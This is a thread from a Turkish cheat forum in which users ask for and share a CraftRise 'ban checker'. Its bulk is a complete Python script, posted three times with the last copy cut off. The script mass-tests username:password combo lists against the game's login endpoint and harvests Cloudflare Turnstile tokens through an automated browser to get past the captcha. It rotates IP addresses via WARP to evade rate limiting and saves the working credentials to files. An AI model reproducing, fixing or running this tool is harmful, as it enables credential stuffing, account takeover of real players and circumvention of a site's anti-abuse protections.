craftrise banlı bansız ayıran checker olan varsa atabılırmı checkerların cogu fix yemiş hepsini bansız olarak gosterıyo yada banlı olarak gosterıyo yenı kodu olan varsa cok super duper olur
from flask import Flask, jsonify
from DrissionPage import ChromiumPage
import time
import requests
from bs4 import BeautifulSoup
import threading
import os
import re
import subprocess
import sys
# Renkli terminal çıktıları için colorama
try:
from colorama import Fore, Style, init
init(autoreset=True)
except ImportError:
subprocess.run([sys.executable, "-m", "pip", "install", "colorama"], capture_output=True)
from colorama import Fore, Style, init
init(autoreset=True)
app = Flask(__name__)
page = None
token_pool = []
pool_lock = threading.Lock()
THREAD_COUNT = 3
WARP_COUNT = 5
dosya_yolu = "acc.txt"
WIDGET_COUNT = 3
calisma_dizini = ""
DOSYA_BANSIZ = ""
DOSYA_BANLI = ""
DOSYA_HATALI = ""
token_lock = threading.Lock()
file_lock = threading.Lock()
istatistik_lock = threading.Lock()
toplam_hesap_sayisi = 0
taranan_hesap_sayisi = 0
sayac_bansiz = 0
sayac_banli = 0
sayac_basarisiz = 0
sayac_hata = 0
son_loglar = []
def log_ekle(mesaj):
"""Dashboard'un altındaki son işlemler listesine güvenli l0g ekler"""
with istatistik_lock:
son_loglar.append(mesaj)
if len(son_loglar) > 10:
son_loglar.pop(0)
def ekran_yenile():
"""Terminali temizler ve canlı tabloyu basar"""
with istatistik_lock:
os.system('cls' if os.name == 'nt' else 'clear')
yuzde = (taranan_hesap_sayisi / toplam_hesap_sayisi * 100) if toplam_hesap_sayisi > 0 else 0
print(Fore.CYAN + "========================================================")
print(Fore.CYAN + " CRAFTRISE BAN CHECKER DASHBOARD ")
print(Fore.CYAN + "========================================================")
print(Fore.WHITE + f" İlerleme Durumu : %{yuzde:.2f} ({taranan_hesap_sayisi}/{toplam_hesap_sayisi})")
print(Fore.GREEN + f" Bansız : {sayac_bansiz}")
print(Fore.RED + f" Banlı : {sayac_banli}")
print(Fore.YELLOW + f" Giriş Başarısız : {sayac_basarisiz}")
print(Fore.MAGENTA + f" Sistem/Ağ Hatası : {sayac_hata}")
print(Fore.CYAN + "========================================================")
print(Fore.BLUE + " SON İŞLEMLER:")
for l0g in son_loglar[-10:]:
print(l0g)
print(Fore.CYAN + "========================================================")
def girdileri_al():
global THREAD_COUNT, WARP_COUNT, dosya_yolu, WIDGET_COUNT, calisma_dizini, DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI
try:
THREAD_COUNT = int(input("aynı onda kaç thread çalışsın? (Örn: 3, 5, 10): "))
if THREAD_COUNT <= 0:
THREAD_COUNT = 3
except ValueError:
THREAD_COUNT = 3
try:
WARP_COUNT = int(input(" kaç hesapta bir WARP (IP) yenilensin? (Örn: 5, 10, 20): "))
if WARP_COUNT <= 0:
WARP_COUNT = 5
except ValueError:
WARP_COUNT = 5
dosya_yolu = input("taranacak hesap dosyasının yolunu gir (Örn: acc.txt): ").strip()
if not dosya_yolu:
dosya_yolu = "acc.txt"
if os.path.isabs(dosya_yolu):
calisma_dizini = os.path.dirname(dosya_yolu)
else:
calisma_dizini = os.getcwd()
DOSYA_BANSIZ = os.path.join(calisma_dizini, "bansiz.txt")
DOSYA_BANLI = os.path.join(calisma_dizini, "banli.txt")
DOSYA_HATALI = os.path.join(calisma_dizini, "hata.txt")
WIDGET_COUNT = THREAD_COUNT
def guvenli_dosya_olustur(dosya_adi):
try:
with open(dosya_adi, "a", encoding="utf-8") as f:
pass
return dosya_adi
except Exception as e:
print(f"[UYARI] Dosya oluşturma hatası: {e}.")
uzanti_bul = dosya_adi.rsplit('.', 1)
return f"{uzanti_bul[0]}_yedek.{uzanti_bul[1]}"
def guvenli_yaz(dosya_adi, veri):
with file_lock:
for _ in range(10):
try:
with open(dosya_adi, "a", encoding="utf-8") as f:
f.write(veri)
f.flush()
return True
except PermissionError:
time.sleep(0.3)
print(f"[KRİTİK HATA] {dosya_adi} dosyasına yazılamadı!")
return False
def initialize_page():
global page
print("Tarayıcı altyapısı başlatılıyor...")
try:
page = ChromiumPage()
except Exception as e:
print(f"Tarayıcı başlatılamadı: {e}")
return False
try:
page.get('https://www.craftrise.com.tr')
time.sleep(3)
except Exception as e:
print(f"Siteye bağlanırken hata: {e}")
return False
js = f"""
window._cf_widgets = [];
window._cf_tokens = {{}};
window._token_pool = [];
window._widget_states = {{}};
for (let i = 0; i < {WIDGET_COUNT}; i++) {{
const div = document.createElement('div');
div.id = 'captcha-container-' + i;
div.style.marginBottom = '10px';
document.body.appendChild(div);
window._widget_states = {{"ready": false}};
}}
const script = document.createElement('script');
script.src = 'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit';
script.async = true;
script.defer = true;
document.head.appendChild(script);
script.onload = () => {{
for (let i = 0; i < {WIDGET_COUNT}; i++) {{
const id = turnstile.render('#captcha-container-' + i, {{
sitekey: '0x4AAAAAAA4cK60wpgOTyti9',
callback: function(token) {{
window._cf_tokens = token;
window._token_pool.push({{widget_idx: i, token: token}});
window._widget_states.ready = true;
}}
}});
window._cf_widgets.push(id);
}}
setInterval(() => {{
for (let i = 0; i < {WIDGET_COUNT}; i++) {{
let inPool = window._token_pool.some(item => item.widget_idx === i);
if (!inPool && window._widget_states.ready) {{
window._widget_states.ready = false;
turnstile.reset(window._cf_widgets);
}}
}}
}}, 200);
}};
"""
page.run_js(js)
print(f"{WIDGET_COUNT} adet Turnstile widget'ı yükleniyor...")
for _ in range(25):
try:
pool_size = page.run_js('return window._token_pool ? window._token_pool.length : 0;')
if pool_size and pool_size >= (WIDGET_COUNT // 2) + 1:
print(f"Başlangıçta {pool_size} token hazır!")
return True
except:
pass
time.sleep(1)
return False
@app.route('/get-token', methods=['GET'])
def get_new_token():
try:
pop_js = """
if (window._token_pool && window._token_pool.length > 0) {
let data = window._token_pool.shift();
return data.token;
}
return null;
"""
for _ in range(100):
if page:
token = page.run_js(pop_js)
if token:
return jsonify({"token": token})
time.sleep(0.1)
return jsonify({"error": "Token bulunamadı"}), 500
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route('/')
def index():
return f'{WIDGET_COUNT}li Senkronize Paket Aktif.'
def warp_degistir(baglan=True):
try:
if baglan:
subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True)
time.sleep(2)
subprocess.run(["warp-cli", "connect"], capture_output=True, text=True)
time.sleep(3)
else:
subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True)
time.sleep(2)
except Exception as e:
log_ekle(Fore.RED + f"[WARP HATASI] {e}")
def ban_kontrol_et(session, username, idx):
"""Sadece ban kontrolü yapan fonksiyon"""
try:
url = "https://www.craftrise.com.tr/posts/post-profile.php"
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": "https://www.craftrise.com.tr/profil",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
data = {"postType": "CHANGE_MAIL", "currentPass": "", "newMail": "[email protected]"}
response = session.post(url, headers=headers, data=data, timeout=12)
text = response.text.lower()
if "engelliyken" in text or "yasakland" in text or "banland" in text or "yasaklı" in text:
return "BANLI"
else:
return "BANSIZ"
except:
return "KONTROL_EDİLEMEDİ"
def cek_cookie_ve_bilgi(username, password, idx):
global taranan_hesap_sayisi, sayac_bansiz, sayac_banli, sayac_basarisiz, sayac_hata
s = requests.Session()
try:
token = get_token(s)
s.get("https://www.craftrise.com.tr", timeout=10)
login_response = s.post("https://www.craftrise.com.tr/posts/post-login.php",
headers={
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": "https://www.craftrise.com.tr/",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Origin": "https://www.craftrise.com.tr"
},
data={"value": username, "password": password, "grecaptcharesponse": token},
timeout=15)
try:
res_json = login_response.json()
if res_json.get("resultType") == "error" or "success" not in str(res_json.get("resultType", "")).lower():
hata_mesaji = res_json.get("resultMessage", "Bilinmeyen hata")
with istatistik_lock:
sayac_basarisiz += 1
taranan_hesap_sayisi += 1
log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız: {hata_mesaji}")
ekran_yenile()
return
except:
if "success" not in login_response.text.lower():
with istatistik_lock:
sayac_basarisiz += 1
taranan_hesap_sayisi += 1
log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız")
ekran_yenile()
return
# Ban kontrolü
ban_durumu = ban_kontrol_et(s, username, idx)
with istatistik_lock:
taranan_hesap_sayisi += 1
if ban_durumu == "BANLI":
sayac_banli += 1
hedef_log = Fore.RED + f"[{idx}] {username} → BANLI HESAP!"
else:
sayac_bansiz += 1
hedef_log = Fore.GREEN + f"[{idx}] {username} → BANSIZ"
log_ekle(hedef_log)
hedef_dosya = DOSYA_BANLI if ban_durumu == "BANLI" else DOSYA_BANSIZ
satir = f"{username}:{password} | {ban_durumu}\n"
guvenli_yaz(hedef_dosya, satir)
ekran_yenile()
except Exception as e:
with istatistik_lock:
sayac_hata += 1
taranan_hesap_sayisi += 1
log_ekle(Fore.MAGENTA + f"[{idx}] {username} → Hata: {str(e)}")
guvenli_yaz(DOSYA_HATALI, f"{username}:{password} | Hata: {str(e)}\n")
ekran_yenile()
def get_token(session):
with token_lock:
try:
r = session.get("http://127.0.0.1:5001/get-token", timeout=10)
token = r.json().get("token")
if not token:
raise ValueError("Token boş")
return token
except Exception as e:
raise RuntimeError(f"Token hatası: {e}")
def main():
global DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI, toplam_hesap_sayisi
girdileri_al()
if not os.path.exists(dosya_yolu):
print(f"Hata: '{dosya_yolu}' dosyası bulunamadı!")
input("\nEnter'a bas...")
return
def run_flask():
import logging
l0g = logging.getLogger('werkzeug')
l0g.setLevel(logging.ERROR)
app.run(host='0.0.0.0', port=5001, threaded=True, debug=False, use_reloader=False)
flask_thread = threading.Thread(target=run_flask, daemon=True)
flask_thread.start()
time.sleep(2)
if not initialize_page():
print("Tarayıcı başlatılamadı.")
input("\nEnter'a bas...")
return
with open(dosya_yolu, "r", encoding="utf-8") as f:
accounts = [line.strip() for line in f if ":" in line and line.strip()]
if not accounts:
print("Geçerli hesap bulunamadı!")
input("\nEnter'a bas...")
return
toplam_hesap_sayisi = len(accounts)
DOSYA_BANSIZ = guvenli_dosya_olustur(DOSYA_BANSIZ)
DOSYA_BANLI = guvenli_dosya_olustur(DOSYA_BANLI)
DOSYA_HATALI = guvenli_dosya_olustur(DOSYA_HATALI)
batch_size = THREAD_COUNT
hesap_sayaci = 0
ekran_yenile()
for i in range(0, len(accounts), batch_size):
if hesap_sayaci == 0 or hesap_sayaci >= WARP_COUNT:
warp_degistir(baglan=True)
hesap_sayaci = 0
batch = accounts[i:i+batch_size]
threads = []
log_ekle(Fore.CYAN + f">>> Yeni {len(batch)} hesaplık grup başlatılıyor...")
for idx_offset, line in enumerate(batch):
idx = i + idx_offset + 1
username, password = line.split(":", 1)
t = threading.Thread(target=cek_cookie_ve_bilgi, args=(username, password, idx))
threads.append(t)
t.start()
time.sleep(0.4)
for t in threads:
t.join()
hesap_sayaci += len(batch)
if hesap_sayaci >= WARP_COUNT:
warp_degistir(baglan=False)
time.sleep(4)
log_ekle(Fore.GREEN + "Tüm hesaplar tarandı!")
ekran_yenile()
input("\nÇıkmak için Enter'a bas...")
if __name__ == "__main__":
try:
main()
except Exception as ana_hata:
print(f"\n[KRİTİK HATA]: {ana_hata}")
import traceback
traceback.print_exc()
input("\nEnter'a bas...")
finally:
if 'page' in globals() and page is not None:
try:
page.quit()
except:
pass
ya ben beceremedım yada calısmıyor.https://cheatglobal.com/konu/craftrise-open-source-banchecker-varmi.129053/page-2#post-2423663 adlı konuyu incelersen daha iyi olurPython:from flask import Flask, jsonify from DrissionPage import ChromiumPage import time import requests from bs4 import BeautifulSoup import threading import os import re import subprocess import sys # Renkli terminal çıktıları için colorama try: from colorama import Fore, Style, init init(autoreset=True) except ImportError: subprocess.run([sys.executable, "-m", "pip", "install", "colorama"], capture_output=True) from colorama import Fore, Style, init init(autoreset=True) app = Flask(__name__) page = None token_pool = [] pool_lock = threading.Lock() THREAD_COUNT = 3 WARP_COUNT = 5 dosya_yolu = "acc.txt" WIDGET_COUNT = 3 calisma_dizini = "" DOSYA_BANSIZ = "" DOSYA_BANLI = "" DOSYA_HATALI = "" token_lock = threading.Lock() file_lock = threading.Lock() istatistik_lock = threading.Lock() toplam_hesap_sayisi = 0 taranan_hesap_sayisi = 0 sayac_bansiz = 0 sayac_banli = 0 sayac_basarisiz = 0 sayac_hata = 0 son_loglar = [] def log_ekle(mesaj): """Dashboard'un altındaki son işlemler listesine güvenli l0g ekler""" with istatistik_lock: son_loglar.append(mesaj) if len(son_loglar) > 10: son_loglar.pop(0) def ekran_yenile(): """Terminali temizler ve canlı tabloyu basar""" with istatistik_lock: os.system('cls' if os.name == 'nt' else 'clear') yuzde = (taranan_hesap_sayisi / toplam_hesap_sayisi * 100) if toplam_hesap_sayisi > 0 else 0 print(Fore.CYAN + "========================================================") print(Fore.CYAN + " CRAFTRISE BAN CHECKER DASHBOARD ") print(Fore.CYAN + "========================================================") print(Fore.WHITE + f" İlerleme Durumu : %{yuzde:.2f} ({taranan_hesap_sayisi}/{toplam_hesap_sayisi})") print(Fore.GREEN + f" Bansız : {sayac_bansiz}") print(Fore.RED + f" Banlı : {sayac_banli}") print(Fore.YELLOW + f" Giriş Başarısız : {sayac_basarisiz}") print(Fore.MAGENTA + f" Sistem/Ağ Hatası : {sayac_hata}") print(Fore.CYAN + "========================================================") print(Fore.BLUE + " SON İŞLEMLER:") for l0g in son_loglar[-10:]: print(l0g) print(Fore.CYAN + "========================================================") def girdileri_al(): global THREAD_COUNT, WARP_COUNT, dosya_yolu, WIDGET_COUNT, calisma_dizini, DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI try: THREAD_COUNT = int(input("aynı onda kaç thread çalışsın? (Örn: 3, 5, 10): ")) if THREAD_COUNT <= 0: THREAD_COUNT = 3 except ValueError: THREAD_COUNT = 3 try: WARP_COUNT = int(input(" kaç hesapta bir WARP (IP) yenilensin? (Örn: 5, 10, 20): ")) if WARP_COUNT <= 0: WARP_COUNT = 5 except ValueError: WARP_COUNT = 5 dosya_yolu = input("taranacak hesap dosyasının yolunu gir (Örn: acc.txt): ").strip() if not dosya_yolu: dosya_yolu = "acc.txt" if os.path.isabs(dosya_yolu): calisma_dizini = os.path.dirname(dosya_yolu) else: calisma_dizini = os.getcwd() DOSYA_BANSIZ = os.path.join(calisma_dizini, "bansiz.txt") DOSYA_BANLI = os.path.join(calisma_dizini, "banli.txt") DOSYA_HATALI = os.path.join(calisma_dizini, "hata.txt") WIDGET_COUNT = THREAD_COUNT def guvenli_dosya_olustur(dosya_adi): try: with open(dosya_adi, "a", encoding="utf-8") as f: pass return dosya_adi except Exception as e: print(f"[UYARI] Dosya oluşturma hatası: {e}.") uzanti_bul = dosya_adi.rsplit('.', 1) return f"{uzanti_bul[0]}_yedek.{uzanti_bul[1]}" def guvenli_yaz(dosya_adi, veri): with file_lock: for _ in range(10): try: with open(dosya_adi, "a", encoding="utf-8") as f: f.write(veri) f.flush() return True except PermissionError: time.sleep(0.3) print(f"[KRİTİK HATA] {dosya_adi} dosyasına yazılamadı!") return False def initialize_page(): global page print("Tarayıcı altyapısı başlatılıyor...") try: page = ChromiumPage() except Exception as e: print(f"Tarayıcı başlatılamadı: {e}") return False try: page.get('https://www.craftrise.com.tr') time.sleep(3) except Exception as e: print(f"Siteye bağlanırken hata: {e}") return False js = f""" window._cf_widgets = []; window._cf_tokens = {{}}; window._token_pool = []; window._widget_states = {{}}; for (let i = 0; i < {WIDGET_COUNT}; i++) {{ const div = document.createElement('div'); div.id = 'captcha-container-' + i; div.style.marginBottom = '10px'; document.body.appendChild(div); window._widget_states = {{"ready": false}}; }} const script = document.createElement('script'); script.src = 'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit'; script.async = true; script.defer = true; document.head.appendChild(script); script.onload = () => {{ for (let i = 0; i < {WIDGET_COUNT}; i++) {{ const id = turnstile.render('#captcha-container-' + i, {{ sitekey: '0x4AAAAAAA4cK60wpgOTyti9', callback: function(token) {{ window._cf_tokens = token; window._token_pool.push({{widget_idx: i, token: token}}); window._widget_states.ready = true; }} }}); window._cf_widgets.push(id); }} setInterval(() => {{ for (let i = 0; i < {WIDGET_COUNT}; i++) {{ let inPool = window._token_pool.some(item => item.widget_idx === i); if (!inPool && window._widget_states.ready) {{ window._widget_states.ready = false; turnstile.reset(window._cf_widgets); }} }} }}, 200); }}; """ page.run_js(js) print(f"{WIDGET_COUNT} adet Turnstile widget'ı yükleniyor...") for _ in range(25): try: pool_size = page.run_js('return window._token_pool ? window._token_pool.length : 0;') if pool_size and pool_size >= (WIDGET_COUNT // 2) + 1: print(f"Başlangıçta {pool_size} token hazır!") return True except: pass time.sleep(1) return False @app.route('/get-token', methods=['GET']) def get_new_token(): try: pop_js = """ if (window._token_pool && window._token_pool.length > 0) { let data = window._token_pool.shift(); return data.token; } return null; """ for _ in range(100): if page: token = page.run_js(pop_js) if token: return jsonify({"token": token}) time.sleep(0.1) return jsonify({"error": "Token bulunamadı"}), 500 except Exception as e: return jsonify({"error": str(e)}), 500 @app.route('/') def index(): return f'{WIDGET_COUNT}li Senkronize Paket Aktif.' def warp_degistir(baglan=True): try: if baglan: subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True) time.sleep(2) subprocess.run(["warp-cli", "connect"], capture_output=True, text=True) time.sleep(3) else: subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True) time.sleep(2) except Exception as e: log_ekle(Fore.RED + f"[WARP HATASI] {e}") def ban_kontrol_et(session, username, idx): """Sadece ban kontrolü yapan fonksiyon""" try: url = "https://www.craftrise.com.tr/posts/post-profile.php" headers = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Referer": "https://www.craftrise.com.tr/profil", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } data = {"postType": "CHANGE_MAIL", "currentPass": "", "newMail": "[email protected]"} response = session.post(url, headers=headers, data=data, timeout=12) text = response.text.lower() if "engelliyken" in text or "yasakland" in text or "banland" in text or "yasaklı" in text: return "BANLI" else: return "BANSIZ" except: return "KONTROL_EDİLEMEDİ" def cek_cookie_ve_bilgi(username, password, idx): global taranan_hesap_sayisi, sayac_bansiz, sayac_banli, sayac_basarisiz, sayac_hata s = requests.Session() try: token = get_token(s) s.get("https://www.craftrise.com.tr", timeout=10) login_response = s.post("https://www.craftrise.com.tr/posts/post-login.php", headers={ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Referer": "https://www.craftrise.com.tr/", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Origin": "https://www.craftrise.com.tr" }, data={"value": username, "password": password, "grecaptcharesponse": token}, timeout=15) try: res_json = login_response.json() if res_json.get("resultType") == "error" or "success" not in str(res_json.get("resultType", "")).lower(): hata_mesaji = res_json.get("resultMessage", "Bilinmeyen hata") with istatistik_lock: sayac_basarisiz += 1 taranan_hesap_sayisi += 1 log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız: {hata_mesaji}") ekran_yenile() return except: if "success" not in login_response.text.lower(): with istatistik_lock: sayac_basarisiz += 1 taranan_hesap_sayisi += 1 log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız") ekran_yenile() return # Ban kontrolü ban_durumu = ban_kontrol_et(s, username, idx) with istatistik_lock: taranan_hesap_sayisi += 1 if ban_durumu == "BANLI": sayac_banli += 1 hedef_log = Fore.RED + f"[{idx}] {username} → BANLI HESAP!" else: sayac_bansiz += 1 hedef_log = Fore.GREEN + f"[{idx}] {username} → BANSIZ" log_ekle(hedef_log) hedef_dosya = DOSYA_BANLI if ban_durumu == "BANLI" else DOSYA_BANSIZ satir = f"{username}:{password} | {ban_durumu}\n" guvenli_yaz(hedef_dosya, satir) ekran_yenile() except Exception as e: with istatistik_lock: sayac_hata += 1 taranan_hesap_sayisi += 1 log_ekle(Fore.MAGENTA + f"[{idx}] {username} → Hata: {str(e)}") guvenli_yaz(DOSYA_HATALI, f"{username}:{password} | Hata: {str(e)}\n") ekran_yenile() def get_token(session): with token_lock: try: r = session.get("http://127.0.0.1:5001/get-token", timeout=10) token = r.json().get("token") if not token: raise ValueError("Token boş") return token except Exception as e: raise RuntimeError(f"Token hatası: {e}") def main(): global DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI, toplam_hesap_sayisi girdileri_al() if not os.path.exists(dosya_yolu): print(f"Hata: '{dosya_yolu}' dosyası bulunamadı!") input("\nEnter'a bas...") return def run_flask(): import logging l0g = logging.getLogger('werkzeug') l0g.setLevel(logging.ERROR) app.run(host='0.0.0.0', port=5001, threaded=True, debug=False, use_reloader=False) flask_thread = threading.Thread(target=run_flask, daemon=True) flask_thread.start() time.sleep(2) if not initialize_page(): print("Tarayıcı başlatılamadı.") input("\nEnter'a bas...") return with open(dosya_yolu, "r", encoding="utf-8") as f: accounts = [line.strip() for line in f if ":" in line and line.strip()] if not accounts: print("Geçerli hesap bulunamadı!") input("\nEnter'a bas...") return toplam_hesap_sayisi = len(accounts) DOSYA_BANSIZ = guvenli_dosya_olustur(DOSYA_BANSIZ) DOSYA_BANLI = guvenli_dosya_olustur(DOSYA_BANLI) DOSYA_HATALI = guvenli_dosya_olustur(DOSYA_HATALI) batch_size = THREAD_COUNT hesap_sayaci = 0 ekran_yenile() for i in range(0, len(accounts), batch_size): if hesap_sayaci == 0 or hesap_sayaci >= WARP_COUNT: warp_degistir(baglan=True) hesap_sayaci = 0 batch = accounts[i:i+batch_size] threads = [] log_ekle(Fore.CYAN + f">>> Yeni {len(batch)} hesaplık grup başlatılıyor...") for idx_offset, line in enumerate(batch): idx = i + idx_offset + 1 username, password = line.split(":", 1) t = threading.Thread(target=cek_cookie_ve_bilgi, args=(username, password, idx)) threads.append(t) t.start() time.sleep(0.4) for t in threads: t.join() hesap_sayaci += len(batch) if hesap_sayaci >= WARP_COUNT: warp_degistir(baglan=False) time.sleep(4) log_ekle(Fore.GREEN + "Tüm hesaplar tarandı!") ekran_yenile() input("\nÇıkmak için Enter'a bas...") if __name__ == "__main__": try: main() except Exception as ana_hata: print(f"\n[KRİTİK HATA]: {ana_hata}") import traceback traceback.print_exc() input("\nEnter'a bas...") finally: if 'page' in globals() and page is not None: try: page.quit() except: pass
saolasın gardasımhttps://cheatglobal.com/konu/craftrise-open-source-banchecker-varmi.129053/page-2#post-2423663 adlı konuyu incelersen daha iyi olurPython:from flask import Flask, jsonify from DrissionPage import ChromiumPage import time import requests from bs4 import BeautifulSoup import threading import os import re import subprocess import sys # Renkli terminal çıktıları için colorama try: from colorama import Fore, Style, init init(autoreset=True) except ImportError: subprocess.run([sys.executable, "-m", "pip", "install", "colorama"], capture_output=True) from colorama import Fore, Style, init init(autoreset=True) app = Flask(__name__) page = None token_pool = [] pool_lock = threading.Lock() THREAD_COUNT = 3 WARP_COUNT = 5 dosya_yolu = "acc.txt" WIDGET_COUNT = 3 calisma_dizini = "" DOSYA_BANSIZ = "" DOSYA_BANLI = "" DOSYA_HATALI = "" token_lock = threading.Lock() file_lock = threading.Lock() istatistik_lock = threading.Lock() toplam_hesap_sayisi = 0 taranan_hesap_sayisi = 0 sayac_bansiz = 0 sayac_banli = 0 sayac_basarisiz = 0 sayac_hata = 0 son_loglar = [] def log_ekle(mesaj): """Dashboard'un altındaki son işlemler listesine güvenli l0g ekler""" with istatistik_lock: son_loglar.append(mesaj) if len(son_loglar) > 10: son_loglar.pop(0) def ekran_yenile(): """Terminali temizler ve canlı tabloyu basar""" with istatistik_lock: os.system('cls' if os.name == 'nt' else 'clear') yuzde = (taranan_hesap_sayisi / toplam_hesap_sayisi * 100) if toplam_hesap_sayisi > 0 else 0 print(Fore.CYAN + "========================================================") print(Fore.CYAN + " CRAFTRISE BAN CHECKER DASHBOARD ") print(Fore.CYAN + "========================================================") print(Fore.WHITE + f" İlerleme Durumu : %{yuzde:.2f} ({taranan_hesap_sayisi}/{toplam_hesap_sayisi})") print(Fore.GREEN + f" Bansız : {sayac_bansiz}") print(Fore.RED + f" Banlı : {sayac_banli}") print(Fore.YELLOW + f" Giriş Başarısız : {sayac_basarisiz}") print(Fore.MAGENTA + f" Sistem/Ağ Hatası : {sayac_hata}") print(Fore.CYAN + "========================================================") print(Fore.BLUE + " SON İŞLEMLER:") for l0g in son_loglar[-10:]: print(l0g) print(Fore.CYAN + "========================================================") def girdileri_al(): global THREAD_COUNT, WARP_COUNT, dosya_yolu, WIDGET_COUNT, calisma_dizini, DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI try: THREAD_COUNT = int(input("aynı onda kaç thread çalışsın? (Örn: 3, 5, 10): ")) if THREAD_COUNT <= 0: THREAD_COUNT = 3 except ValueError: THREAD_COUNT = 3 try: WARP_COUNT = int(input(" kaç hesapta bir WARP (IP) yenilensin? (Örn: 5, 10, 20): ")) if WARP_COUNT <= 0: WARP_COUNT = 5 except ValueError: WARP_COUNT = 5 dosya_yolu = input("taranacak hesap dosyasının yolunu gir (Örn: acc.txt): ").strip() if not dosya_yolu: dosya_yolu = "acc.txt" if os.path.isabs(dosya_yolu): calisma_dizini = os.path.dirname(dosya_yolu) else: calisma_dizini = os.getcwd() DOSYA_BANSIZ = os.path.join(calisma_dizini, "bansiz.txt") DOSYA_BANLI = os.path.join(calisma_dizini, "banli.txt") DOSYA_HATALI = os.path.join(calisma_dizini, "hata.txt") WIDGET_COUNT = THREAD_COUNT def guvenli_dosya_olustur(dosya_adi): try: with open(dosya_adi, "a", encoding="utf-8") as f: pass return dosya_adi except Exception as e: print(f"[UYARI] Dosya oluşturma hatası: {e}.") uzanti_bul = dosya_adi.rsplit('.', 1) return f"{uzanti_bul[0]}_yedek.{uzanti_bul[1]}" def guvenli_yaz(dosya_adi, veri): with file_lock: for _ in range(10): try: with open(dosya_adi, "a", encoding="utf-8") as f: f.write(veri) f.flush() return True except PermissionError: time.sleep(0.3) print(f"[KRİTİK HATA] {dosya_adi} dosyasına yazılamadı!") return False def initialize_page(): global page print("Tarayıcı altyapısı başlatılıyor...") try: page = ChromiumPage() except Exception as e: print(f"Tarayıcı başlatılamadı: {e}") return False try: page.get('https://www.craftrise.com.tr') time.sleep(3) except Exception as e: print(f"Siteye bağlanırken hata: {e}") return False js = f""" window._cf_widgets = []; window._cf_tokens = {{}}; window._token_pool = []; window._widget_states = {{}}; for (let i = 0; i < {WIDGET_COUNT}; i++) {{ const div = document.createElement('div'); div.id = 'captcha-container-' + i; div.style.marginBottom = '10px'; document.body.appendChild(div); window._widget_states = {{"ready": false}}; }} const script = document.createElement('script'); script.src = 'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit'; script.async = true; script.defer = true; document.head.appendChild(script); script.onload = () => {{ for (let i = 0; i < {WIDGET_COUNT}; i++) {{ const id = turnstile.render('#captcha-container-' + i, {{ sitekey: '0x4AAAAAAA4cK60wpgOTyti9', callback: function(token) {{ window._cf_tokens = token; window._token_pool.push({{widget_idx: i, token: token}}); window._widget_states.ready = true; }} }}); window._cf_widgets.push(id); }} setInterval(() => {{ for (let i = 0; i < {WIDGET_COUNT}; i++) {{ let inPool = window._token_pool.some(item => item.widget_idx === i); if (!inPool && window._widget_states.ready) {{ window._widget_states.ready = false; turnstile.reset(window._cf_widgets); }} }} }}, 200); }}; """ page.run_js(js) print(f"{WIDGET_COUNT} adet Turnstile widget'ı yükleniyor...") for _ in range(25): try: pool_size = page.run_js('return window._token_pool ? window._token_pool.length : 0;') if pool_size and pool_size >= (WIDGET_COUNT // 2) + 1: print(f"Başlangıçta {pool_size} token hazır!") return True except: pass time.sleep(1) return False @app.route('/get-token', methods=['GET']) def get_new_token(): try: pop_js = """ if (window._token_pool && window._token_pool.length > 0) { let data = window._token_pool.shift(); return data.token; } return null; """ for _ in range(100): if page: token = page.run_js(pop_js) if token: return jsonify({"token": token}) time.sleep(0.1) return jsonify({"error": "Token bulunamadı"}), 500 except Exception as e: return jsonify({"error": str(e)}), 500 @app.route('/') def index(): return f'{WIDGET_COUNT}li Senkronize Paket Aktif.' def warp_degistir(baglan=True): try: if baglan: subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True) time.sleep(2) subprocess.run(["warp-cli", "connect"], capture_output=True, text=True) time.sleep(3) else: subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True) time.sleep(2) except Exception as e: log_ekle(Fore.RED + f"[WARP HATASI] {e}") def ban_kontrol_et(session, username, idx): """Sadece ban kontrolü yapan fonksiyon""" try: url = "https://www.craftrise.com.tr/posts/post-profile.php" headers = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Referer": "https://www.craftrise.com.tr/profil", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } data = {"postType": "CHANGE_MAIL", "currentPass": "", "newMail": "[email protected]"} response = session.post(url, headers=headers, data=data, timeout=12) text = response.text.lower() if "engelliyken" in text or "yasakland" in text or "banland" in text or "yasaklı" in text: return "BANLI" else: return "BANSIZ" except: return "KONTROL_EDİLEMEDİ" def cek_cookie_ve_bilgi(username, password, idx): global taranan_hesap_sayisi, sayac_bansiz, sayac_banli, sayac_basarisiz, sayac_hata s = requests.Session() try: token = get_token(s) s.get("https://www.craftrise.com.tr", timeout=10) login_response = 